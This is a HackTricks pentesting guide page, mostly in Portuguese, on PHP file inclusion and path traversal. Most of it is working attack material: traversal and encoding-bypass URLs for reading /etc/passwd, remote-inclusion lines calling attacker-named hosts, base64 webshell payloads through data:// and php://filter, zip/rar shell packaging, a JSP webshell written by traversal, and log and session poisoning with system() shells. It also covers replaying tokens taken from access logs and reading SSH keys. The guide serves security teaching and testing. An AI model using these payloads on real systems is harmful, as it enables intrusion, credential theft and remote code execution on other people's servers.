File Inclusion/Path traversal

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

File Inclusion

Remote File Inclusion (RFI): O arquivo é carregado a partir de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isso está desativado por padrão (allow_url_include).
Local File Inclusion (LFI): O servidor carrega um arquivo local.

A vulnerabilidade ocorre quando o usuário consegue, de alguma forma, controlar o arquivo que será carregado pelo servidor.

Funções PHP vulneráveis: require, require_once, include, include_once

Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*Misturando várias listas nix LFI e adicionando mais caminhos, criei esta:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

Tente também trocar / por \
Tente também adicionar ../../../../../

Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada here

Windows

Mesclagem de diferentes wordlists:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

Tente também trocar / por \
Tente também remover C:/ e adicionar ../../../../../

Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada here

OS X

Confira a lista LFI do linux.

LFI básico e bypasses

Todos os exemplos são para Local File Inclusion, mas também podem ser aplicados a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

sequências de traversal removidas não recursivamente

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass o acréscimo de caracteres adicionais no final da string fornecida (bypass de: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Isto está resolvido desde o PHP 5.4

Codificação

Você pode usar codificações não padronizadas, como double URL encode (e outras):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Engines modernos de HTML-to-PDF (por exemplo TCPDF ou wrappers como html2pdf) analisam alegremente HTML, SVG, CSS e URLs de fontes fornecidos pelo atacante, porém executam-se dentro de redes backend confiáveis com acesso ao sistema de arquivos. Uma vez que você consegue injetar HTML em $pdf->writeHTML()/Html2Pdf::writeHTML(), frequentemente é possível exfiltrar arquivos locais que a conta do servidor web pode ler.

  • Fingerprint the renderer: todo PDF gerado contém um campo Producer (por exemplo TCPDF 6.8.2). Conhecer o build exato indica quais filtros de caminho existem e se a decodificação de URL ocorre antes da validação.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() lê o atributo xlink:href de elementos <image> antes de executar urldecode(). Incorporar um SVG malicioso dentro de uma data URI faz com que muitos sanitizadores HTML ignorem o payload enquanto TCPDF ainda o analisa:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF antepõe $_SERVER['DOCUMENT_ROOT'] a caminhos que começam com / e só resolve .. mais tarde, então use segmentos iniciais ../../.. ou /../../.. para escapar do root após o antepôr.

  • Encoding to bypass naive filters: Versions ≤6.8.2 only check for the literal substring ../ before decoding the URL. Sending ..%2f (or ..%2F) in the SVG or in a raw <img src> attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls urldecode().
  • Double-encoding for multi-stage decoding: If user input is decoded by the web framework and by TCPDF, double-encode the slash (%252f). One decode turns it into %2f, the second decode in TCPDF turns it into /, yielding /..%252f../../../../… without ever showing ../ to the early filter.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() contains the same order-of-operations bug, allowing direct HTML payloads such as src="%2f..%252f..%252ftmp%252fsecret.png" to read any locally reachable bitmap.

This technique leaks anything readable by the PDF worker (digitalizações de passaporte, API keys renderizadas como imagens, etc.). Hardeners fixed it in 6.9.1 by normalizing paths (isRelativePath()), so during tests prioritise older Producer versions.

A partir da pasta existente

Talvez o back-end esteja verificando o caminho da pasta:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Explorando diretórios do sistema de arquivos em um servidor

O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para realizar isso:

  1. Determinar a profundidade do diretório: Verifique a profundidade do diretório atual obtendo com sucesso o arquivo /etc/passwd (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sondar Pastas: Anexe o nome da pasta suspeita (por exemplo, private) à URL, depois volte para /etc/passwd. O nível adicional de diretório exige incrementar a profundidade em uma unidade:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretar os resultados: A resposta do servidor indica se a pasta existe:
  • Erro / Sem saída: A pasta private provavelmente não existe no local especificado.
  • Conteúdo de /etc/passwd: A presença da pasta private está confirmada.
  1. Exploração recursiva: Pastas descobertas podem ser sondadas adicionalmente por subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI) methods.

Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload conforme necessário. Por exemplo, para verificar se /var/www/ contém um diretório private (assumindo que o diretório atual está em uma profundidade de 3), use:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que anexam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é construir um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.

Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ são tratados como o mesmo caminho.
  • Quando os últimos 6 caracteres são passwd, anexar um / (transformando em passwd/) não altera o arquivo-alvo.
  • Da mesma forma, se .php for anexado a um caminho de arquivo (como shellcode.php), adicionar /. no final não alterará o arquivo acessado.

Os exemplos fornecidos demonstram como utilizar path truncation para acessar /etc/passwd, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Nesses cenários, o número de sequências ../ necessárias pode ser cerca de 2027, mas esse número pode variar conforme a configuração do servidor.

  • Uso de Dot Segments e Caracteres Adicionais: Sequências de traversal (../) combinadas com segmentos de ponto adicionais e caracteres podem ser usadas para navegar pelo sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor.
  • Determinando o Número Necessário de Traversals: Por tentativa e erro, é possível encontrar o número preciso de sequências ../ necessárias para navegar até o diretório raiz e então para /etc/passwd, garantindo que quaisquer strings anexadas (como .php) sejam neutralizadas, mas o caminho desejado (/etc/passwd) permaneça intacto.
  • Começar com um Diretório Falso: É prática comum começar o caminho com um diretório inexistente (como a/). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor.

Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de parsing de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.

Esta vulnerabilidade foi corrigida no PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

No php isso está desabilitado por padrão porque allow_url_include está Desativado. Deve estar Ativado para funcionar, e, nesse caso, você poderia incluir um arquivo PHP do seu servidor e obter RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Se por algum motivo allow_url_include estiver On, mas o PHP estiver filtrando o acesso a páginas externas, de acordo com este post, você poderia usar, por exemplo, o protocolo data com base64 para decodificar um código PHP em b64 e egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

No código anterior, o +.txt final foi adicionado porque o atacante precisava de uma string que terminasse em .txt, então a string termina com isso e, após o b64 decode, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).

Outro exemplo não usando o protocolo php:// seria:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Elemento raiz

Em Python, em um código como este:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Se o usuário passar um caminho absoluto para file_name, o caminho anterior é simplesmente removido:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

É o comportamento pretendido de acordo com the docs:

Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.

Java Listar diretórios

Parece que, se houver um Path Traversal em Java e você pedir um diretório em vez de um arquivo, a listagem do diretório será retornada. Isso não ocorre em outras linguagens (afaik).

Top 25 parâmetros

Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (origem: link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI usando PHP wrappers & protocols

php://filter

PHP filters permitem executar operações básicas de modificação nos dados antes de eles serem lidos ou escritos. Existem 5 categorias de filtros:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Remove tags dos dados (tudo entre os caracteres “<” e “>”)
  • Note que este filtro desapareceu nas versões modernas do PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforma para uma codificação diferente (convert.iconv.<input_enc>.<output_enc>). Para obter a lista de todas as codificações suportadas, execute no console: iconv -l

Warning

Abusando do convert.iconv.* conversion filter você pode gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações, veja LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Comprime o conteúdo (útil se for exfiltrar muita informação)
  • zlib.inflate: Descomprime os dados
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Other Filters
  • Executando em PHP var_dump(stream_get_filters()); você pode encontrar alguns filtros inesperados:
  • consumed
  • dechunk: reverte HTTP chunked encoding
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

A parte “php://filter” não diferencia maiúsculas de minúsculas

Using php filters as oracle to read arbitrary files

In this post é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Esta técnica baseia-se numa boolean exfiltration of the file (char by char) using php filters como oracle. Isso porque php filters podem ser usadas para aumentar um texto o suficiente para fazer o php lançar uma exceção.

No post original você encontra uma explicação detalhada da técnica, mas aqui está um resumo rápido:

  • Use o codec UCS-4LE para deixar o caractere inicial do texto no começo e fazer o tamanho da string crescer exponencialmente.
  • Isso será usado para gerar um texto tão grande quando a letra inicial for adivinhada corretamente que o php disparará um erro
  • O filtro dechunk irá remover tudo se o primeiro caractere não for hexadecimal, então podemos saber se o primeiro caractere é hex.
  • Isso, combinado com o anterior (e outros filtros dependendo da letra testada), permitirá adivinhar uma letra no começo do texto ao ver quando fazemos transformações suficientes para torná-la não-hexadecimal. Porque se for hex, o dechunk não a deletará e a bomba inicial fará o php gerar erro.
  • O codec convert.iconv.UNICODE.CP930 transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um a, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal, portanto o dechunk não a deleta e o erro do php é acionado porque ela se multiplica com a bomba inicial.
  • Usando outras transformações como rot13 no início é possível leak outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
  • Quando o caractere inicial é um número, é necessário codificá-lo em base64 e leak as 2 primeiras letras para leak o número.
  • O problema final é ver how to leak more than the initial letter. Usando filtros de ordem de memória como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE é possível mudar a ordem dos caracteres e trazer para a primeira posição outras letras do texto.
  • E, para poder obter further data, a ideia é gerar 2 bytes de junk data no início com convert.iconv.UTF16.UTF16, aplicar UCS-4LE para fazê-los pivotarem com os próximos 2 bytes, e deletar os dados até o junk data (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até atingir o bit desejado para leak.

No post, também foi disponibilizada uma ferramenta para executar isso automaticamente: php_filters_chain_oracle_exploit.

php://fd

Este wrapper permite acessar file descriptors que o processo tem abertos. Potencialmente útil para exfiltrate o conteúdo de arquivos abertos:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Você também pode usar php://stdin, php://stdout e php://stderr para acessar os descritores de arquivo 0, 1 e 2 respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)

zip:// e rar://

Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.
Para poder abusar do protocolo rar ele precisa ser especificamente ativado.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Observe que esse protocolo é restrito pelas configurações do php allow_url_open e allow_url_include

expect://

Expect precisa estar ativado. Você pode executar código usando isto:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Especifique seu payload nos parâmetros POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Um arquivo .phar pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como include para carregamento de arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Para compilar o arquivo .phar, o seguinte comando deve ser executado:

php --define phar.readonly=0 create_path.php

Ao ser executado, um arquivo chamado test.phar será criado, o qual pode ser potencialmente aproveitado para explorar vulnerabilidades de Local File Inclusion (LFI).

Nos casos em que o LFI apenas realiza leitura de arquivos sem executar o código PHP contido neles, através de funções como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() ou filesize(), pode-se tentar explorar uma vulnerabilidade de deserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo phar.

Para um entendimento detalhado sobre a exploração de vulnerabilidades de deserialização no contexto de arquivos .phar, consulte o documento linkado abaixo:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of a specific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alocar chunks de tamanhos específicos abusando de mais php filters.

More protocols

Confira mais possíveis protocols to include here:

  • php://memory and php://temp — Escreve em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de file inclusion)
  • file:// — Acessando o sistema de arquivos local
  • http:// — Acessando URLs HTTP(s)
  • ftp:// — Acessando URLs FTP(s)
  • zlib:// — Fluxos de compressão
  • glob:// — Encontrar pathnames que correspondem ao padrão (Não retorna nada imprimível, então não é muito útil aqui)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (Not useful to read arbitrary files)

LFI via PHP’s ‘assert’

Local File Inclusion (LFI) risks in PHP are notably high when dealing with the ‘assert’ function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like “..” is being checked but not properly sanitized.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

Embora isso vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso e ler o conteúdo de arquivos, um attacker poderia usar:

' and die(highlight_file('/etc/passwd')) or '

Da mesma forma, para executar comandos arbitrários do sistema, pode-se usar:

' and die(system("id")) or '

É importante URL-encode these payloads.

PHP Blind Path Traversal

Warning

This technique is relevant in cases where you control the file path of a PHP function that will access a file but you won’t see the content of the file (like a simple call to file()) but the content is not shown.

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

Em resumo, a técnica usa a codificação “UCS-4LE” para tornar o conteúdo de um arquivo tão grande que a função PHP que abre o arquivo vai disparar um erro.

Então, para leak o primeiro char o filtro dechunk é usado junto com outros como base64 ou rot13 e finalmente os filtros convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE são usados para colocar outros chars no início e leak them.

Funções que podem ser vulneráveis: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Para os detalhes técnicos, confira o post mencionado!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Quando o código server-side que ingests/uploads arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um nome de arquivo ou URL) sem canonicalizar e validar, segmentos .. e caminhos absolutos podem escapar do diretório pretendido e causar uma gravação arbitrária de arquivo. Se você conseguir colocar o payload em um diretório exposto pela web, normalmente obtém RCE não autenticada ao dropar um webshell.

Fluxo típico de exploração:

  • Identificar um write primitive em um endpoint ou background worker que aceita um path/filename e escreve conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Determinar diretórios expostos pela web. Exemplos comuns:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Criar um caminho de traversal que escape do diretório de armazenamento pretendido para o webroot, e incluir o conteúdo do seu webshell.
  • Acessar o payload dropado e executar comandos.

Notas:

  • O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá depois seu payload.
  • Em stacks Java, essas gravações de arquivo são frequentemente implementadas com simples concatenação File/Paths. Falta de canonicalização/allow-listing é a falha central.

Exemplo genérico estilo XML/JMF (os schemas dos produtos variam – o wrapper DOCTYPE/body é irrelevante para o traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening que defeats esta classe de bugs:

  • Resolve para um caminho canônico e faça cumprir que seja um descendente de um diretório base allow-listed.
  • Rejeite qualquer caminho contendo .., raízes absolutas, ou letras de drive; prefira filenames gerados.
  • Execute o writer como uma conta de baixo privilégio e segregue os diretórios de escrita dos served roots.

Remote File Inclusion

Explicado anteriormente, siga este link.

Via Apache/Nginx log file

Se o servidor Apache ou Nginx estiver vulnerável a LFI dentro da função include você pode tentar acessar /var/log/apache2/access.log or /var/log/nginx/access.log, inserir no user agent ou em um GET parameter um php shell como <?php system($_GET['c']); ?> e incluir esse arquivo

Warning

Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string “quote;”, PHP will throw an error there and nothing else will be executed.

Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won’t have a second opportunity.

Isso também pode ser feito em outros logs, mas cuidado, o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header authorisation “basic” contém “user:password” em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse header.
Outros caminhos possíveis de logs:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Leia os logs de acesso para coletar tokens de autenticação via GET (token replay)

Muitas aplicações aceitam por engano tokens de sessão/autenticação via GET (por exemplo, AuthenticationToken, token, sid). Se você tem um primitive de path traversal/LFI que permite acessar os logs do web server, você pode roubar esses tokens dos access logs e fazer replay para contornar totalmente a autenticação.

How-to:

  • Use o traversal/LFI para ler o log de acesso do servidor web. Locais comuns:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Alguns endpoints retornam leituras de arquivo codificadas em Base64. Se for o caso, decodifique localmente e inspecione as linhas do log.
  • Use Grep para localizar requisições GET que incluam um parâmetro de token e capture seu valor, então faça replay dele contra o ponto de entrada da aplicação.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Decodifique o body se estiver em Base64, então replay um token capturado:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notes:

  • Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
  • If the app supports multiple token names, search for common keys like AuthenticationToken, token, sid, access_token.
  • Roteie quaisquer tokens que possam ter leaked para os logs.

Via Email

Envie um email para uma conta interna (user@localhost) contendo seu payload PHP como <?php echo system($_REQUEST["cmd"]); ?> e tente incluir o mail do usuário com um caminho como /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Via /proc//fd/

  1. Faça upload de muitos shells (por exemplo: 100)
  2. Inclua http://example.com/index.php?page=/proc/$PID/fd/$FD, com $PID = PID do processo (pode ser brute forced) e $FD o descritor de arquivo (pode ser brute forced também)

Via /proc/self/environ

Como um arquivo de log, envie o payload no User-Agent; ele será refletido dentro do arquivo /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Se você puder fazer upload de um arquivo, basta injetar o shell payload nele (por exemplo: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Para manter o arquivo legível é melhor injetar nos metadados das imagens/doc/pdf

Via upload de arquivo ZIP

Faça upload de um arquivo ZIP contendo um PHP shell compactado e acesse:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via sessões PHP

Verifique se o site usa sessão PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

No PHP, essas sessões são armazenadas em arquivos /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Defina o cookie para <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use o LFI para incluir o arquivo de sessão do PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar <HOME>/.ssh/id_rsa

Via vsftpd logs

Os logs do servidor FTP vsftpd estão localizados em /var/log/vsftpd.log. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI), e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:

  1. Injete um payload PHP no campo username durante o processo de login.
  2. Após a injeção, utilize a LFI para recuperar os logs do servidor em /var/log/vsftpd.log.

Via php base64 filter (using base64)

Como mostrado em este artigo, o PHP base64 filter ignora tudo que não é base64. Você pode usar isso para contornar a verificação de extensão de arquivo: se fornecer base64 que termina com “.php”, ele simplesmente ignora o “.” e adiciona “php” ao base64. Aqui está um payload de exemplo:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (sem arquivo necessário)

This writeup explica que você pode usar php filters to generate arbitrary content como saída. O que basicamente significa que você pode generate arbitrary php code para o include without needing to write em um arquivo.

LFI2RCE via PHP Filters

Via falha de segmentação

Enviar um arquivo que será armazenado como temporário em /tmp, então na mesma requisição, provoque uma falha de segmentação, e então o arquivo temporário não será deletado e você poderá procurá-lo.

LFI2RCE via Segmentation Fault

Via armazenamento de arquivos temporários do Nginx

Se você encontrou uma Local File Inclusion e o Nginx está em frente ao PHP, você pode ser capaz de obter RCE com a seguinte técnica:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Se você encontrou uma Local File Inclusion, mesmo se você não tiver uma session e session.auto_start estiver Off. Se você fornecer o PHP_SESSION_UPLOAD_PROGRESS nos dados multipart POST, o PHP irá habilitar a session para você. Você poderia abusar disso para obter RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via uploads de arquivos temporários no Windows

Se você encontrou uma Local File Inclusion e o servidor está rodando em Windows, você pode conseguir RCE:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, o script /usr/local/lib/phppearcmd.php existe por padrão em php docker images. Além disso, é possível passar argumentos para o script via URL porque está indicado que se um parâmetro de URL não tiver um =, ele deve ser usado como um argumento. Veja também watchTowr’s write-up e Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

